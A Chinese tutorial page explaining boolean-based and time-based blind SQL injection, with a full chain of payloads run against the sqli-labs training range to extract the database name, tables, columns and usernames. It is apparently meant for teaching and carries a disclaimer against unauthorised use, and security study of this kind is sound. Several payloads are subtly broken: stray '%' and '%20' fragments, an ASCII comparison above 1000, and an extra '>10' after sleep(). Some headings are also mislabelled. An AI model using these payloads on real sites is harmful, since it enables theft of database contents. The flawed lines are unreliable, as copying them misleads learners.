首頁 > 軟體

SQL bool盲注和時間盲注詳解

2022-07-22 14:02:26

今天繼續給大家介紹Linux運維相關知識,本文主要內容是SQL bool盲注和時間盲注。

免責宣告:
本文所介紹的內容僅做學習交流使用,嚴禁利用文中技術進行非法行為,否則造成一切嚴重後果自負!
再次強調:嚴禁對未授權裝置進行滲透測試!

一、bool盲注和時間盲注常用函數

1、休眠函數
sleep()是SQL語句中用於休眠的函數,時間盲注中常用,sleep(x)可以讓程式休眠x秒。
2、字串擷取函數
字串擷取函數是bool盲注和時間盲注中都需要使用的函數。常用的字串擷取函數有mid()、substr()、left()。
mid()函數格式為:

mid(【目標欄位】,【開始的位置】,【擷取長度】)

其中,開始的位置預設從1開始。
substr()函數的用法與mid相似,left函數則預設從欄位的最左邊開始擷取,其格式為:

left(【目標欄位】,【擷取長度】)

表示從目標欄位的左邊開始擷取指定長度的字元。
3、字串長度函數
字串長度函數length()會應用在SQL bool盲注和時間盲注中,length()函數可以反饋目標字串的長度。
4、ascii碼轉換函數
ascii碼轉換函數可以將一個字元轉換成ascii碼,在SQL基於時間的盲注和基於bool的盲注中,ascii碼轉換函數可以將一個字元轉換成其ascii碼值。常用的ascii碼轉換函數為ascii()、ord()。
5、條件判斷函數
條件判斷函數if是SQL時間盲注中的必用函數,可以利用if函數來根據條件來反饋不同的結果。
if函數格式如下所示:

if(【條件】,【值1】,【值2】)

當條件成立時,if函數返回值1,當條件不成立時,if函數返回值2.

二、bool盲注和時間盲注payload

1、SQL隱碼攻擊點探測

我們使用sqli_lab的靶場,對基於bool的盲注和基於時間的盲注進行講解,在sqli_lab靶場中,基於bool的盲注是第8關,基於時間的盲注是第9關,頁面如下所示:

對於bool型別的盲注,我們可以通過執行以下payload來探測是否存在注入點:

id=1'and 1=2#

如果顯示異常,那麼就說明and後面的內容被成功執行,因此可能存在bool型別的SQL隱碼攻擊。
對於時間型別的盲注,我們可以通過執行以下payload來探測是否存在注入點:

id=1'and sleep(10)#

如果網頁反應時間出現了明顯延遲,就說明存在基於時間的SQL隱碼攻擊。

2、猜解資料庫名

bool型別的盲注猜解資料庫長度payload如下所示:

id=1'and length(database())>10#

時間型別的盲注猜解資料庫長度payload如下所示:

id=1'and sleep(if(length(database())>10,10,1))>10#

bool型別的盲注猜解資料庫名稱payload如下所示:

id=1'and ascii(mid(database(),1,1))>115#

時間型別的盲注猜解資料庫名稱payload如下所示:

id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#

上述四個payload,length函數用於反饋查詢結果的長度,mid函數用於擷取查詢結果的指定字元,ascii函數用於將其轉換為ascii碼的形式,if函數中第一個引數為一個判斷表示式,本質上是bool型別盲注的核心,後面的10和1分別為表示式成立或者不成立條件下的返回值,該返回值為sleep函數的輸入,以此就可以控制網頁反應的時間。

3、猜解表名

bool型別的盲注表名個數猜解payload如下所示:

id=1'and (select count(*) from information_schema.tables where table_schema=database())>2#

時間型別的盲注表名個數猜解payload如下所示:

id=1'and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#

bool型別的盲注表名猜解payload如下所示:

id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#

時間型別的盲注表名猜解payload如下所示:

id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#

在上述4個payload中,其原理與之前介紹的相似,但是是使用limit函數來不斷的控制反饋的變數。

4、猜解欄位名

bool型別的盲注欄位名個數猜解payload如下所示:

id=1'and (select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1#

時間型別的盲注欄位名個數猜解payload如下所示:

id=1'and sleep(if((select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1,10,1))#

bool型別的盲注欄位名個數猜解payload如下所示:

id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#

時間型別的盲注欄位名個數猜解payload如下所示:

id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#

其原理與之前類似。

5、猜解資料

bool型別的盲注資料長度猜解payload如下所示:

id=1'and (select count(*) from users)>1#

時間型別的盲注資料長度猜解payload如下所示:

id=1'and sleep(if((select count(*) from users)>1,10,1))#

bool型別的盲注資料猜解payload如下所示:

id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#

時間型別的盲注資料猜解payload如下所示:

id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#

到此這篇關於SQL bool盲注和時間盲注詳解的文章就介紹到這了,更多相關SQL bool盲注和時間盲注內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com